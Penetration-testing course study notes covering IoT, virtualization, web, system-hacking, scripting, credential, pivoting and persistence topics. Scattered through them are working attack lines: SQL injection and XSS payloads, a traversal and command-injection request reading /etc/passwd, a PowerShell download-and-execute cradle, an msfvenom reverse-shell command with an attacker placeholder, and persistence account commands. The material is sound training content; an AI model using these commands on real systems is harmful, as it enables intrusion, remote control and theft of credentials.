- **Connectivity**: Devices communicate via M2M (machine-to-machine) or M2P (machine-to-person) methods.
- **Functionality**: Equipped with sensors, software, and network connectivity for various applications.
- **Vulnerabilities**: Many IoT devices have inherent security flaws due to poor design and lack of robust security measures.

Manufacturing and Vulnerabilities

- **Operating Systems**: Commonly use Linux or Android kernels, susceptible to web application and network attacks.
- **Security Issues**: Vendor-specific software, insecure configurations, and lack of rigorous testing lead to vulnerabilities.
- **Supply Chain Risks**: Insecure or outdated components and preloaded malware or backdoors pose risks.

IoT Attack Surface

- **Definition**: Represents all potential entry points for attacks on IoT devices.
- **Components**: Includes the device itself, cloud connections, APIs (like MQTT, CoAP), business logic, and user interfaces.
- **Potential Exploits**: Attacks can exploit weaknesses in any part of the attack surface to compromise devices or data.

Common Vulnerabilities in IoT Devices

- **Default Credentials**: Manufacturers often use hardcoded or weak default passwords.
- **Physical Security**: Devices like IP cameras can be easily accessed if physical security measures are inadequate.
- **Firmware Issues**: Lack of updates or mechanisms for automatic updates leave devices vulnerable to known exploits.
- **Code Vulnerabilities**: Poorly designed code can lead to buffer overflows, SQL injections, and other software vulnerabilities.

Data Security and Privacy Concerns

- **Encryption**: Many IoT devices transmit data in plaintext, making it vulnerable to interception.
- **Bluetooth Vulnerabilities**: BLE devices can leak sensitive data if not properly secured.
- **Data Leakage**: Unencrypted transmissions can expose device models, user activities, and personal information.

Attacks Exploiting IoT Devices

- **Botnet Attacks**: Devices infected with malware (e.g., Mirai bot) can be weaponized to launch DDoS attacks.
- **Denial-of-Sleep Attacks**: Continuously sending signals to IoT devices to prevent them from entering sleep mode, draining their batteries.
- **Protocol Vulnerabilities**: MQTT and CoAP vulnerabilities like spoofing, packet amplification, and data modification pose significant risks.

Best Practices and Recommendations

- **Security Assessments**: Regular PenTesting and vulnerability assessments are crucial for identifying and mitigating IoT vulnerabilities.
- **Encryption and Authentication**: Implement strong encryption and authentication mechanisms to protect data and device integrity.
- **Patch Management**: Ensure timely updates and patches to mitigate known vulnerabilities.
- **User Awareness**: Educate users about IoT security risks and best practices to minimize exploitation.

Recognize Other Vulnerable Systems

Data Storage Systems

- **Types of Storage Systems**:
  - **Direct Attached Storage (DAS)**: Directly attached to a server, not accessed over a network.
  - **Network Attached Storage (NAS)**: File servers dedicated to data access via the network.
  - **Storage Area Network (SAN)**: Subnetwork of storage devices and servers, houses large data volumes.
- **Configuration and Security**:
  - Data centers typically include SANs with cloud backups for redundancy.

  - Network isolation and centralized management are critical for securing data access.
- **Vulnerabilities**:
  - Weaknesses can be exploited through insecure configurations or outdated software.
  - Common attacks include DoS, malware infections, social engineering, and physical attacks.

Control Systems (ICS and SCADA)

- **Industrial Control Systems (ICS)**:
  - Manage critical infrastructure assets over a network (e.g., water, electrical grids).
  - Vulnerable due to outdated security standards and integration with TCP/IP networks.
- **Supervisory Control and Data Acquisition (SCADA)**:
  - Manages large-scale equipment across geographically dispersed sites.
  - Integrates with Industrial Internet of Things (IIoT) for enhanced data management and decision-making.
- **Security Challenges**:
  - Exploitable vulnerabilities include insufficient security standards and integration risks.

Common Vulnerabilities and Exploits

- **Exposed Data**:
  - Vulnerabilities often stem from software flaws like SQL injections and misconfigurations (e.g., default credentials).
  - Management interfaces like IPMI can expose networks if not properly configured.
- **Error Handling**:
  - Insecure error messages can leak sensitive information (e.g., directory paths) useful for directory traversal attacks.
  - Best practices include minimizing error details to mitigate risks (e.g., generic error messages).

Testing and Mitigation Strategies

- **Fuzzing**:
  - Technique involves sending random inputs to applications to uncover vulnerabilities.
  - Targets configuration files, source code, logs, and web files to identify weaknesses.
  - Feedback-based fuzzing is interactive and effective for detecting specific vulnerabilities like SQL injections.

Best Practices for Security Assessments

- **Regular Assessments**:
    - Conduct PenTests and vulnerability assessments to identify and mitigate vulnerabilities.
- **Secure Configurations**:
    - Implement strong authentication and access controls to protect sensitive systems.
- **Educate Personnel**:
    - Train users and administrators on security best practices to reduce exploitation risks.
    -

Explain Virtual Machine Vulnerabilities

Understanding Virtual Environments

- **Virtualization Basics**:
    - Virtualization creates simulated computing environments that mimic hardware, OS, and applications.
    - Components include host hardware, hypervisor (VMM), and guest operating systems (VMs).
- **Types of Virtualization**:
    - **Host-Based Model (Type II Hypervisor)**:
        - Hypervisor runs on a host OS (e.g., VMware Workstation, Oracle VirtualBox).
        - VMs operate as guests on top of the host OS.
    - **Bare Metal Model (Type I Hypervisor)**:
        - Hypervisor directly installed on hardware (e.g., VMware ESXi, Microsoft Hyper-V).
        - Offers direct access to host hardware, enhancing performance and security.

Vulnerabilities in Virtual Environments

- **Security Challenges**:
    - Administration occurs at both hypervisor and VM levels, requiring robust security measures.
    - Vulnerabilities similar to physical environments, including misconfigurations and inadequate security practices.
- **VM Sprawl**:
    - Uncontrolled creation of VMs without proper management.
    - Increases attack surface and propagation of vulnerabilities across the infrastructure.

- **Protecting VM Repositories**:
    - VM repositories store VM templates and configurations.
    - Ensure protection against malware and misconfigurations to prevent spread within the VM environment.

Containerized Workloads

- **Containerization vs. Virtualization**:
    - Containers share the OS kernel, offering lightweight and efficient resource allocation.
    - Vulnerabilities often stem from misconfigured images or improper network policies.
- **Monitoring and Security**:
    - Monitor container activities for unauthorized access or lateral movement.
    - Secure secrets management (e.g., API keys, passwords) to mitigate security risks.

Attacks on Virtual Environments

- **Types of Attacks**:
    - **Class 1**: Attacks originating outside the VM.
    - **Class 2**: Attacks affecting a VM directly.
    - **Class 3**: Attacks originating from within a compromised VM.
- **VM Escape**:
    - Malware in a VM exploits vulnerabilities to interact with the hypervisor or host kernel.
    - Potential to compromise other VMs or access sensitive data on the physical server.
- **Hyperjacking the Hypervisor**:
    - Attack where malicious actors gain control of the hypervisor.
    - Grants full access to VMs and data, posing significant security risks across the environment.

Preventive Measures

- **Security Best Practices**:
    - Regularly update hypervisor software to patch vulnerabilities.
    - Design VM architectures with security zones and isolation to minimize risks.
    - Implement rigorous access controls and monitoring to detect and respond to threats promptly.

Lesson 13

Web Application-Based Attacks

Recognize Web Vulnerabilities

OWASP Top Ten: The OWASP (Open Web Application Security Project) Top Ten lists the most critical security risks to web applications, including:

1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)

5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging & Monitoring

Common Vulnerabilities:

- **Sensitive Data Exposure:** Implementing secure data transmission to prevent unauthorized access.
- **Improper Error Handling:** Error messages should not reveal sensitive information about the application.
- **Missing Input Validation:** Proper validation to prevent injection attacks.
- **Code Signing:** Ensuring scripts and executables are tampered-proof.
- **Race Conditions:** Managing the timing and order of execution processes to prevent instability or privilege escalation.

Study Notes

1. Web Application Security Basics:

- Web apps must be accessible, leading to potential vulnerabilities.
- Common languages: HTML, JavaScript, SQL.
- Common frameworks: AngularJS, Ruby on Rails, Django (Python).

2. OWASP Top Ten (2017):

- **A1:2017-Injection:** Code injection vulnerabilities.
- **A2:2017-Broken Authentication:** Failures in authentication processes.
- **A3:2017-Sensitive Data Exposure:** Inadequate protection of sensitive data.
- **A4:2017-XML External Entities (XXE):** Issues with XML processors.
- **A5:2017-Broken Access Control:** Poor access control mechanisms.
- **A6:2017-Security Misconfiguration:** Incorrect security settings.
- **A7:2017-Cross-Site Scripting (XSS):** Client-side script injection.
- **A8:2017-Insecure Deserialization:** Issues with deserializing data.
- **A9:2017-Using Components with Known Vulnerabilities:** Using outdated components.
- **A10:2017-Insufficient Logging & Monitoring:** Lack of adequate monitoring and logging.

3. Exposing Sensitive Data:

- Ensure secure data transmission.
- Avoid leaving technical information unsecured.

4. Error Handling:

- Do not reveal detailed error messages to users.
- Ensure the application handles errors gracefully.

5. Input Validation:

- Always validate user input to prevent injection attacks.

6. Code Signing:

- Use digital signatures to verify the integrity of scripts and executables.
- Store and verify file hashes to detect tampering.

7. Race Conditions:

- Manage the order and timing of processes to prevent exploitation.

Launch Session Attacks

Types of Session Attacks:

1. **Session Hijacking:**
    - **Description:** Stealing a user's session credential (session ID or SID) from their browser to impersonate the user on a website.
    - **Mechanism:** HTTP does not track state; cookies are used to maintain sessions.
    - **Methods:**
        - Stealing browser cookies.
        - Session fixation: user authenticates with a known SID.
        - Session replay: intercepting and repeating the authentication process, often via a man-in-the-middle attack.
2. **Cross-Site Request Forgery (CSRF/XSRF):**
    - **Description:** Exploits the trust between a user's browser and a website, using the user's saved authentication data to perform unauthorized actions.
    - **Example:** A crafted URL increases the quantity of an item in a shopping cart when clicked by the victim.
    - **Challenges:** Requires finding a vulnerable form and the right parameters.
3. **Server-Side Request Forgery (SSRF):**
    - **Description:** Exploits the trust between a server and the resources it can access.
    - **Potential Impact:** May provide access to internal resources otherwise unavailable.

Privilege Escalation:

1. **Horizontal Privilege Escalation:**
   - **Description:** Accessing a user account with different permissions than the current one.
   - **Usage:** For information gathering without raising suspicion.
2. **Vertical Privilege Escalation:**
   - **Description:** Accessing a higher-privilege account to gain additional permissions.
   - **Example:** Upgrading a non-interactive shell to an interactive one.

Upgrading Non-Interactive Shells:

- **Windows Example:** Using a script to download and start Meterpreter.
- **Linux Example:** Launching bash in interactive mode with `/bin/bash -i`.

Exploiting Business Logic Flaws:

- **Description:** Vulnerabilities from implementation and design issues, such as failure to lock accounts after failed authentication attempts.
- **Target:** APIs, which are standards for structured machine-to-machine communication.
- **Common APIs:** RESTful, XML-RPC, SOAP.
- **Example:** Incorrectly secured XML-RPC in WordPress.

Study Notes

1. Session Attacks:

- **Session Hijacking:**
  - Steal session ID (SID) from browser cookies.
  - Use stolen SID to impersonate the user.
  - Methods: session fixation, session replay.
- **Cross-Site Request Forgery (CSRF/XSRF):**
  - Exploits user's saved authentication data.
  - Difficult to detect as it mimics normal user behavior.
  - Requires vulnerable form and known parameters.
- **Server-Side Request Forgery (SSRF):**
  - Exploits trust between server and resources.

  - May access internal resources.

2. Privilege Escalation:

- **Horizontal Privilege Escalation:**
  - Accessing different user account permissions.
- **Vertical Privilege Escalation:**
  - Accessing higher-privilege account.
  - Upgrading non-interactive shells to interactive ones.

3. Business Logic Flaws:

- **Examples:**
  - Poorly implemented account lock mechanisms.
  - Vulnerable APIs (RESTful, XML-RPC, SOAP).
  - Common API target: XML-RPC in WordPress.

4. Mitigation Strategies:

- Secure cookie handling with HTTPS.
- Validate and sanitize user inputs.
- Implement strong authentication and session management.
- Regularly review and update security configurations.
- Monitor and log user activities to detect anomalies.

Plan Injection Attacks

Identifying SQLi Vulnerabilities

SQL Injection (SQLi):

- **Definition:** An attack where malicious SQL code is embedded in input fields, allowing attackers to manipulate database queries.
- **Identification Methods:**
  - **Single Quote Method:** Submit an apostrophe (`'`) in input fields and look for SQL syntax errors.
  - **Example:**

        - Original Query: `SELECT * FROM users WHERE username = 'Bob' AND password = 'Pa22w0rd'`
        - Modified Query: `SELECT * FROM users WHERE username = ''' AND password 'Pa22w0rd'`
        - SQL Error Response: Reveals query format and potential injection points.
    - **Always True Condition:** Use `1=1` in combination with comments (`--`) to execute a valid query.
        - Example: `SELECT * FROM users WHERE username = '' or 1=1--' AND password 'Pa22w0rd'`
- **Advanced Techniques:**
    - **Stacked Queries:** Combine multiple SQL queries in one request.
    - **UNION Operator:** Merge results from different tables.
        - Example: `UNION SELECT '1', username, password, '4', '5' FROM users–`
    - **Blind SQLi:** Test with always true (`1=1`) and false (`1=2`) conditions or use time delays (`WAITFOR DELAY '0:0:05'`).

Directory Traversal

Definition: Accessing unauthorized files by manipulating file paths.

- **Basic Method:** Use `../` or `..\` to move up directories.
- **Advanced Techniques:**
    - **Hexadecimal Encoding:** Encode characters to bypass filters (e.g., `%2E` for `.` and `%2F` for `/`).
    - **Double Encoding:** Encode the `%` symbol itself (e.g., `%252E` for `.`).
    - **Poison Null Byte:** Use `%00` to terminate strings and bypass extensions.
        - Example: `http://site.example/page.php?file=../../etc/passwd%00`

Code Injection

Definition: Injecting malicious code into a vulnerable application.

- **Types of Code Injection:**
    - **Denial of Service (DoS)**
    - **Privilege Escalation**
    - **Data Exfiltration**
    - **Malware Installation**
    - **Website Defacement**
- **Command Injection:** Supplying malicious input to be executed by the system shell.

  - **Example:** `<?php $file=$_GET['file_name']; system('rm $file'); ?>`
  - **Request:** `http://site.example/delete_file.php?$file_name=test.txt;cat%20/etc/passwd`

Cross-Site Scripting (XSS)

Definition: Injecting JavaScript into web pages that execute on the client's browser.

- **Types of XSS:**
  - **Persistent (Stored) XSS:** Malicious code stored on the server.
  - **Reflected XSS:** Malicious code reflected off a server response.
  - **DOM-based XSS:** Exploits client-side JavaScript.
- **Example Injection:** `<script>alert("Got you!")</script>`

Using Proxies

Web Proxy:

- Acts as an intermediary between clients and servers.
- Provides security, privacy, and additional functionalities like firewall, web filtering, and caching.

Identify Tools

truffleHog

- **Description**: Searches Git repositories for secrets accidentally committed.
- **Use**: Prevents exposure of sensitive information like API keys and credentials.

OWASP ZAP (Zed Attack Proxy)

- **Description**: Proxy for automated and manual testing of web applications.
- **Features**: Identifies vulnerabilities through active scanning and allows for fine-tuning of HTTP requests.

Burp Suite Community Edition

- **Description**: Comprehensive web application testing tool.
- **Capabilities**: Supports automated and manual testing, request modification, and passive analysis.

Gobuster

- **Description**: Directory and file brute-forcing tool.
- **Purpose**: Discovers hidden subdomains, directories, and files by testing common names.

DirBuster

- **Description**: Web application brute-forcing tool.
- **Functionality**: Utilizes multiple lists to find default directories and common names used by developers.

w3af (Web Application Attack and Audit Framework)

- **Description**: Identifies and exploits a wide range of web-based vulnerabilities.
- **Focus:** Targets vulnerabilities such as SQL injection and cross-site scripting (XSS).

Wapiti

- **Description**: Automatic web application vulnerability scanner.
- **Modules**: Enables/disables modules to test for various vulnerabilities within web applications.

BeEF (Browser Exploit Framework)

- **Description**: Focuses on exploiting web browsers to launch client-side attacks.
- **Capabilities**: Hooks browsers to execute XSS and injection attacks, gathers device information, and uses proxy capabilities.

WPScan

- **Description**: WordPress security scanner.
- **Function**: Compares WordPress site findings against a vulnerability database, identifies plugin vulnerabilities (e.g., CVE references).

Brakeman

- **Description**: Static code analysis tool for Ruby on Rails applications.
- **Purpose**: Identifies vulnerabilities and provides confidence levels of findings (high, medium, weak).

SQLmap

- **Description**: Automated SQL injection tool.
- **Features**: Supports multiple database types, automates enumeration, and executes commands within databases.

SearchSploit

- **Description**: Exploit finder using Exploit-DB information.
- **Integration**: Supports Nmap outputs in XML format to automate exploit searching.

CrackMapExec

- **Description**: Post-exploitation tool for Active Directory environments.
- **Usage**: Identifies vulnerabilities and potential exploits within Active Directory networks.

Lesson 14

Performing System Hacking

System Hacking

Running with .NET and .NET Framework

- **.NET:** A cross-platform open-source software development framework, preferred over the original .NET Framework for its compatibility with Windows, Linux, and macOS.
- **.NET Framework:** The original, non-open-source framework geared mainly towards Windows.

Managing Windows with PowerShell

- **PowerShell:** A powerful scripting language and shell built on the .NET Framework, offering enhanced functionality over the traditional Windows command prompt.
- **Automation:** PowerShell can automate tasks involving the Windows Registry, Active Directory objects, Group Policy, and the Windows network stack, making it valuable for penetration testers.

Tools for System Hacking

1. **Empire:**
    - A C2 framework utilizing PowerShell for post-exploitation tasks on Windows, with a Python component for Linux.
    - Features include running PowerShell agents without powershell.exe, key loggers, Mimikatz, and evading network detection.
    - **Note:** Empire is now maintained by a group within Kali Linux and can be found here.
2. **Covenant:**
    - A .NET C2 framework similar to Empire, showing the attack surface of .NET and facilitating cross-platform attacks.
    - Compatible with Windows, Linux, and macOS.
    - Covenant GitHub
3. **Mythic:**
    - Another cross-platform C2 framework with payloads like Apfell and Poseidon, effective for PenTesting macOS.
    - Mythic GitHub
4. **PowerShell Tools:**
    - **nishang:** A collection of scripts for Windows post-exploitation.
        - nishang GitHub
    - **NoPowerShell:** Executes PowerShell commands without powershell.exe.
        - NoPowerShell GitHub
    - **PowerLessShell:** Alternative PowerShell execution method.
        - PowerLessShell GitHub
    - **PowerShdll:** Uses rundll32 to execute PowerShell commands.
        - PowerShdll GitHub

Use Remote Access Tools

Telnet, rlogin, and rsh

- **Telnet:** An older protocol for remote access that transmits data in plaintext, making it insecure for modern networks but still used in some legacy systems.
- **rlogin/rsh:** Simple remote access tools for Linux, with rsh allowing command execution directly without requiring credentials if configured with an `.rhosts` file.

Exploring with Netcat

- **Netcat:** A versatile command-line utility for TCP, UDP, or Unix domain socket network connections. Known as the "Swiss Army knife" of hacking tools, it supports:
    - Creating or connecting to a TCP server
    - Acting as a proxy or relay
    - Transferring files
    - Launching executables
    - Port scanning
- **Netcat Options:**
    - `-l`: Listen mode
    - `-u`: UDP mode
    - `-p`: Specify port
    - `-e`: Execute program on connection
    - `-n`: No DNS lookups
    - `-z`: Zero I/O mode
    - `-w <seconds>`: Set timeout value
    - `-v`: Verbose mode
    - `-vv`: Very verbose mode

Monitoring with Ncat

- **Ncat:** Developed for Nmap, enhancing Netcat with additional features such as SSL encryption for secure communications. This is crucial for preventing detection during data exfiltration or command execution.

Communicating within a Secure Shell (SSH)

- **SSH:** A secure replacement for Telnet, allowing encrypted remote management of servers and devices. SSH is ubiquitous on modern systems and supports advanced features such as secure tunneling for pivoting. Credentials, and sometimes a certificate and keypair, are required for access.

Analyze Exploit Code

Downloading Files

- **Method:** Use PowerShell to download and execute scripts.
  - Example: `powershell.exe -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.0.100/run.ps1'))"`
  - Execution via phishing emails or physical access (USB Rubber Ducky).

Launching Remote Access

- **Script Creation:** Use `msfvenom` from Metasploit to generate payloads.
  - Example: `msfvenom -p cmd/windows/reverse_powershell LHOST=attacker_ip LPORT=attacker_port -f raw`
  - Advanced options like `-w hidden` and `-nop` for stealth.

Enumerating Users and Assets

- **Tools:** Utilize Metasploit's Meterpreter for user and asset enumeration.
  - Gather usernames and system information for lateral movement.

Breaking Down Programs

- **Reverse Engineering Methods:**
  - **Decompilation:** Translate binaries into high-level source code (e.g., Java class files).
  - **Disassembly:** Convert machine code into assembly language.
  - **Debugging:** Manipulate running code to identify vulnerabilities and analyze behavior.

Example Exploitation Code Analysis

- **Identifying Malicious Intent:** Decode base64 encoded shellcode to understand its actions (e.g., remote command execution).

Tools for Reverse Engineering

- **Debuggers and Disassemblers:**
    - OllyDbg, Immunity Debugger, GNU Debugger (GDB), WinDbg, IDA, Ghidra, Covenant (.NET framework).

Lesson 15

Scripting and Software Development

Analyzing Scripts and Code Samples

Automating Tasks Using Scripting

Benefits of Scripting

- **Efficiency:** Saves time and speeds up PenTest projects.
- **Customization:** Scripts allow customization of existing tools for specific needs.

Elements of a Well-Written Script

- **Parameters:** Take input data as arguments.
- **Control Flow:** Branching and looping statements.
- **Error Handling:** Validation and error handlers ensure robust execution.
- **Testing:** Unit tests validate expected outputs.

Scripting Shells and Languages

- **Bash (Linux):** Default shell for Unix-like systems. Used for automation and integrating with system utilities.
- **PowerShell (Windows):** Built on .NET Framework, enhances Windows automation with cmdlets like `Clear-EventLog`.
- **Python:** Cross-platform, emphasizes readability and simplicity. Widely used in PenTesting for its extensive libraries.
- **Ruby:** Known for web development (Ruby on Rails) and Metasploit scripting. Flexible syntax similar to Python.
- **Perl:** Designed for text manipulation and system administration tasks, supports efficient code for PenTesting.

Using Bash for Penetration Testing

- **Examples:** Automating file creation, log analysis (e.g., using `grep` and `cut`).

Leveraging PowerShell for Windows Environments

- **Cmdlets:** Examples like `Clear-EventLog` for system administration tasks.

Python in PenTesting

- **Advantages:** Rich library support for network scanning, exploitation, and more.
- **Syntax:** Whitespace-sensitive, supports object-oriented programming.

Ruby and Perl Overview

- **Ruby:** Flexible syntax, used in Metasploit for extending functionalities.
- **Perl:** Efficient text processing, strong community support.

JavaScript in Web Penetration Testing

- **Usage:** Essential for XSS attacks and web application PenTesting.

Create Logic Constructs

Key Concepts

1. **Basic Components in Scripting and Software Development:**
   - **Variables:** Values stored in memory with identifiers.
   - **Logic:** How a script processes written code.
   - **Operators:** Symbols or keywords used to perform operations.
   - **Flow Control:** Order in which code instructions are executed.
   - **Conditionals:** Statements that execute code based on certain conditions.
   - **Loops:** Statements that repeat code execution.
2. **Describing Variables:**
   - **Definition:** A variable is a value stored in memory, referenced by a name.
   - **Types:** Include integers, floats, strings, and more.
   - **Behavior in Different Languages:**
     - **Bash:** `my_str="Hello, World!"` (no whitespace around equals sign)
     - **PowerShell:** `$my_str = "Hello, World!"` (uses dollar sign)
     - **Python/Ruby:** `my_str = "Hello, World!"`
     - **Perl:** `$my_str = "Hello, World!";` (uses dollar sign)
     - **JavaScript:** `var my_str = "Hello, World!";` (requires declaration)
3. **Logic and Flow Control:**
   - **If Statements:** Execute code based on conditions.
   - **Loops:**
     - **While Loop:** Executes code while a condition is true.
     - **For Loop:** Iterates through code a specified number of times.
4. **Types of Operators:**
   - **Boolean Operators:** Used for logic statements (AND, OR, NOT).
   - **Arithmetic Operators:** Used for mathematical operations (+, -, *, /).
   - **String Operators:** Used for string manipulation (concatenation, repetition).

5. **Encoding Using JSON:**
   - **JSON Syntax:** Key-value pairs, arrays, and nested objects.
   - **Example:** `{“name”:”phil”}`, `{“age”:25}`, `{“friends”:[“Henry”, ”Annmarie”, “Amy”]}`
6. **Python Data Structure Types:**
   - **Basic Types:** Integer, float, string, boolean.
   - **Advanced Types:** List, dictionary.
7. **Other Data Constructs:**
   - **Comma-Separated Values (CSV):** Fields separated by commas, used for data export/import.
   - **Trees:** Hierarchical data structure with root, parent, and leaf nodes.
8. **Object-Oriented Programming:**
   - **Functions:** Reusable blocks of code.
   - **Classes:** Prototypes from which objects can be created.
   - **Modules and Libraries:** Reusable code collections that can be imported into scripts.

Automate Penetration Testing

Using Python for Automation:

- **Scenario:** Conducting a penetration test on an internal network using a list of IP addresses from a spreadsheet (.xlsx).
- **Objective:** Identify vulnerabilities and misconfigurations, focusing on SSL/TLS channels.

Script Overview:

1. **Setup and Requirements:**
   - Install `openpyxl` using `pip3` for reading .xlsx files.
   - Obtain `nmap` scripts from GitHub for vulnerability scanning.
2. **Script Components:**
   - **Functions:**
     - `fileread(file)`: Reads IP addresses from an .xlsx spreadsheet.
     - `ipupdate(iplist)`: Updates IP addresses programmatically.
     - `simplescan(iplist)`: Performs initial, fast port scan using `nmap`.
     - `advancedscan(iplist)`: Conducts detailed vulnerability scan using `nmap`.
3. **Detailed Functions:**
   - **`fileread(file)`**:
     - Uses `openpyxl` to read IP addresses.
     - Returns a list of IPs for scanning.
   - **`ipupdate(iplist)`**:

        - Updates IP addresses by shifting within the same subnet.
        - Uses `ipaddress` module for IP manipulation.
    - **`simplescan(iplist)`**:
        - Executes `nmap` with options (`-n`, `-T4`, `-oG`) for fast scan.
        - Saves results in greppable format.
    - **`advancedscan(iplist)`**:
        - Reads results from simple scan.
        - Uses `nmap` with `-sV` for version detection and `--script` for detailed vulnerability analysis (`vulnscan`, `ssl-enum-ciphers`).

4. **Usage:**
    - Script flow controlled by `main()` function.
    - Handles errors in file reading and progresses through scan stages.
    - Produces human-readable reports for each IP scanned.

Lesson 16

Leveraging the Attack: Pivot and Penetrate

Test Credentials

Introduction to Credentials:

- Credentials are analogous to keys that grant access to accounts, networks, or systems.
- They are highly valuable to attackers, enabling theft, defacement, or leverage for blackmail.

Password Attacks:

- **Online vs. Offline Attacks:**
    - **Online Attacks:** Attempt to log in directly using password guessing tools.
    - **Offline Attacks:** Steal hashed credential files (e.g., /etc/shadow in Linux) and crack them offline.
- **Password Cracking:**
    - **Methods:** Dictionary attacks, brute force attacks, and rule-based attacks.
    - **Tools:** Hashcat, John the Ripper, and others automate these attacks.
- **Dictionary Attacks:**
    - Use predefined lists of common passwords.
    - Can be customized with user-specific data (e.g., usernames).
- **Brute Force Attacks:**
    - Try every possible password combination.
    - Time-consuming; effectiveness depends on password complexity and length.
- **Variations on Brute Force:**
    - **Rule Attacks:** Modify dictionary entries with common variations (e.g., adding numbers or symbols).
    - **Mask Attacks:** Use placeholders to define password structure.
- **Windows and Linux Passwords:**
    - **Linux:** Stored in hashed format (e.g., SHA-256 or SHA-512) in /etc/shadow.
    - **Windows:** Uses LM (legacy) and NTLM hashes, stored in the SAM registry hive.
- **Credential Harvesting Tools:**
    - Mimikatz: Extracts credentials from memory (LSASS) on Windows.
    - Metasploit: Modules for dumping and cracking hashed passwords.
- **Defenses Against Attacks:**
    - Password policies (lockouts after failed attempts).
    - Salting and hashing for stronger protection.
    - Monitoring for unusual login patterns (e.g., rapid successive attempts).

Additional Tools for Credential Testing:

- Cain & Abel, Hydra, Medusa: Brute-force tools for various services.
- Hashcat: GPU-accelerated tool for hash cracking.
- Metasploit: Modules for automated scanning and credential testing.

Alternative Methods to Obtain Credentials:

- **Social Engineering:** Phishing, fake login pages, shoulder surfing.
- **Keyloggers:** Hardware or software-based tools to capture keystrokes.
- **Dumping Hashes:** Extracting hashed passwords from compromised systems.

Move Throughout the System

Post-Exploitation Techniques

1. **Upgrading a Restrictive Shell**
    - **Problem:** Sometimes, shells obtained are restrictive, limiting commands like changing directories or using absolute paths.
    - **Solution:** Use scripts like Python or Perl to spawn a more interactive shell:
        - Python: `python -c 'import pty; pty.spawn("/bin/bash")'`
        - Perl: `perl -e 'exec "/bin/sh";'`
        - Within vi editor: `:set shell=/bin/sh` followed by `:shell`
2. **Lateral Movement**
    - **Definition:** Moving from one part of a computing environment to another after gaining initial access.
    - **Techniques:**
        - Exploit network trust relationships using tools like Responder.py and BloodHoundAD to enumerate Active Directory.
        - Use remote access protocols (e.g., RDP, ARD, VNC) for GUI-based lateral movement.
        - Exploit remote management services like WinRM, WMI, and PowerShell for CLI-based lateral movement.
        - Techniques include process migration to evade detection and leveraging existing processes.
3. **Pivoting**
    - **Definition:** Similar to lateral movement but involves accessing different network segments.
    - **Techniques:**
        - Port forwarding: Forwarding ports through a compromised host.
        - VPN pivoting: Using a compromised host to establish a VPN connection to another network.
        - SSH pivoting: Using SSH with local proxy to pivot through compromised hosts.

        - Modifying routing tables: Adding routes via compromised hosts to reach new subnets.

4. **Obtaining Hashes**
    - **Techniques:** Use tools like Mimikatz and Metasploit to extract and utilize password hashes obtained from compromised systems.
5. **Privilege Escalation**
    - **Vertical:** Obtain higher-level access (e.g., admin privileges) than currently possessed.
    - **Horizontal:** Gain access to different privileges (e.g., user to admin) to access restricted resources.
6. **Exploitation Techniques**
    - **Windows:** Includes credential attacks (e.g., pass the hash), application exploits (e.g., DLL hijacking), and patch vulnerabilities.
    - **Linux:** Similar techniques such as weak process permissions, application exploits, and using SetUID binaries.

Maintain Persistence

Objective: Perform post-exploitation techniques to maintain access in a network.

Persistence Techniques:

1. **Creating a Foothold:**
    - **Definition:** Persistence ensures continued access to a compromised system without detection.
    - **Goals:**
        - Exfiltrate data gradually to avoid detection.
        - Monitor user behavior over time for information gathering.
        - Cause sustained denial of service attacks.
        - Compromise systems for prolonged periods.
2. **Avoiding Advanced Persistent Threats (APTs):**
    - **Definition:** APTs use sophisticated, long-term strategies to exfiltrate data or disrupt operations unnoticed.
    - **Targets:** Often large institutions with significant data or influence.
3. **Bypassing Restrictions:**
    - **Creating New Accounts:**
        - **Windows:** `net user jsmith /add`
        - **Linux:** `useradd jsmith`
        - **Privilege Escalation:** Grant administrative rights for deeper access.
4. **Using Backdoors and Trojans:**
    - **Backdoors:** Hidden access points for continued unauthorized entry.

- **Remote Access Trojans (RATs):** Tools like NetBus, Back Orifice, DarkComet, providing hidden, persistent access.

5. **Remote Access Services:**
   - **Examples:** Telnet, SSH, RDP, VNC.
   - **Challenges:** Monitoring and transparency make them less stealthy.
6. **Shell Types:**
   - **Bind Shells:** Targets bind to a local port; limited by firewall and NAT restrictions.
   - **Reverse Shells:** Attacker listens on a specific port; more effective and bypasses firewall/NAT issues.
7. **Services and Daemons:**
   - **Windows Services:** Background processes; start at system boot.
   - **Linux Daemons:** Run independently of user sessions; continuous availability.
8. **Registry and Startup:**
   - **Windows:** Add entries to `Run` keys in Registry for automatic execution on startup.
9. **Scheduled Tasks:**
   - **Windows:** Use Task Scheduler (`schtasks`) for automated execution of commands or scripts at specified times or events.
   - **Linux:** Utilize `cron` jobs for similar automation tasks.

Lesson 17

Communicating During then PenTesting Process

Define the Communication Path

Importance of Communication:

- Effective communication is crucial for the success of a penetration test.
- Ensures coordination within the PenTest team and with client counterparts.
- Facilitates quick resolution of issues and alignment on project goals.

Establishing Communication Protocols:

- **Escalation Path:** Defines how critical issues are reported and escalated within the PenTest team and to the client.
- **Chain of Command:** Ensures structured communication flow, minimizing risks and enhancing responsiveness.

Key Communication Guidelines:

- **Thresholds and Protocols:** Agreed upon points for notifying clients about operational disruptions or system instability during testing.
- **Client Notification:** Clarifies when and how the client should inform the PenTest team of interference with operations or system performance.

Client Engagement and Transparency:

- **Selective Information Sharing:** Balances informing necessary stakeholders (IT managers, CIO/CISO) without compromising the integrity of the PenTest.
- **Engagement Scope:** Discusses the extent of information disclosure to avoid unnecessary panic or premature response among client staff.

Roles in Client Communication:

- **Primary Contact:** Typically the CISO or designated decision-maker responsible for project oversight.
- **Technical Contact:** Provides detailed technical insights and manages the impact of PenTest activities on the client's network.
- **Emergency Contact:** Available 24/7 or during testing hours to address urgent issues that may arise.

Communication Best Practices:

- **Centralized Communication:** All interactions between the PenTest team and the client should go through designated points of contact.
- **Immediate Response Capability:** Ensures rapid response to incidents, unexpected findings, or client requests to manage scope effectively.

Communication Triggers

Importance of Triggering Communication Events:

- **Regular Status Reports:** Provide periodic updates on progress to keep stakeholders informed and involved.
  - Ensures all relevant parties receive necessary information promptly.
  - Manages expectations and facilitates ongoing communication loops.
- **Critical Findings:** Highlight urgent issues that pose significant risks to the client's organization.
  - Examples include high-rated vulnerabilities with known exploits actively used by attackers.
  - Requires immediate attention and special communication protocols.
